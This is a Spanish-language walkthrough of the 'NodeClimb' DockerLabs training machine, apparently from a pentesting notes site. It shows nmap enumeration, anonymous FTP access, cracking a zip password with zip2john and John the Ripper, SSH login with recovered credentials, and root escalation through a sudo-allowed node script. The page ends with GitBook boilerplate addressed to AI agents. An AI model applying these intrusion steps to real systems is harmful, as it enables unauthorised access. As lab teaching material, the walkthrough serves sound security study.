> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/nodeclimb.md).

# NodeClimb

## Introducción

En este laboratorio se compromete una máquina Linux mediante la explotación de servicios expuestos y una mala configuración de privilegios.

El objetivo es obtener acceso inicial al sistema y escalar privilegios hasta root.

***

## Escaneo y enumeración

Se realiza un escaneo inicial con Nmap para identificar servicios expuestos:

```bash
nmap -sV 172.17.0.2
```

![nmap](/files/7T8zTNz3ZkXfEJQQ6GN4)

Se detectan los siguientes puertos abiertos:

* 21/tcp → FTP
* 22/tcp → SSH

Dado que el servicio FTP permite autenticación anónima, se intenta el acceso sin credenciales.

***

## Acceso inicial

```bash
ftp 172.17.0.2
```

![ftp](/files/1ZLN40D7pzrvGaAj5NoZ)

El acceso es exitoso y se identifica un archivo comprimido:

**secretitopicaron.zip**

Se descarga para su análisis:

```bash
get secretitopicaron.zip
```

***

## Obtención de credenciales

El archivo está protegido con contraseña, por lo que se extrae su hash utilizando `zip2john`:

```bash
zip2john secretitopicaron.zip > hash.txt
```

![zip2john](/files/10oQy8PdiOCKTKohqy61)

Posteriormente, se realiza un ataque de diccionario con John the Ripper:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

![john](/files/fA7zjNtntf0xWBLpmYly)

Se obtiene la contraseña:

```
password1
```

Se descomprime el archivo:

```bash
unzip secretitopicaron.zip
```

![zip](/files/A8NcScxLIkx09ZBJtAvY)

El contenido revela credenciales de acceso:

```
usuario: mario
contraseña: lakontraseñamasmalotahdelbarrioh
```

***

## Acceso por SSH

Se utiliza el servicio SSH para acceder al sistema con las credenciales obtenidas:

```bash
ssh mario@172.17.0.2
```

![ssh](/files/y6Nn3m9LvY4KDEBfwo0G)

El acceso es exitoso como el usuario `mario`.

***

## Escalada de privilegios

Se enumeran los privilegios del usuario:

```bash
sudo -l
```

![sudo-l](/files/5s6SecIhp2u0hrqJQlzL)

Se observa que el usuario puede ejecutar el siguiente comando como root sin contraseña:

```
/usr/bin/node /home/mario/script.js
```

Dado que `node` permite ejecutar código JavaScript, se investiga en GTFOBins una forma de obtener una shell privilegiada:

<https://gtfobins.org/gtfobins/node/#shell>

![codigojava](/files/vk7qL6FAkf29VdxSPt7l)

Se modifica el script para ejecutar una shell y se lanza el comando:

```bash
sudo /usr/bin/node /home/mario/script.js
```

***

## Acceso root

![root](/files/Mp3x1yxJysv5NwG4Fypy)

Se verifica que se han obtenido privilegios de root mediante el comando `id`.

***

## Mejora de la shell

Para mejorar la interacción con la shell obtenida, se genera una TTY interactiva mediante Python:

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

![mejora](/files/5LZm3969XzQN2vCzfPVC)

Esto permite trabajar de forma más cómoda, habilitando funcionalidades como autocompletado y mejor gestión de la terminal.

***

## Conclusión

El compromiso del sistema ha sido posible debido a la combinación de varios fallos:

* Acceso FTP anónimo
* Uso de contraseñas débiles
* Exposición de credenciales en archivos
* Mala configuración de privilegios sudo

Este escenario demuestra cómo una cadena de vulnerabilidades puede derivar en un compromiso completo del sistema en pocos pasos.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/nodeclimb.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
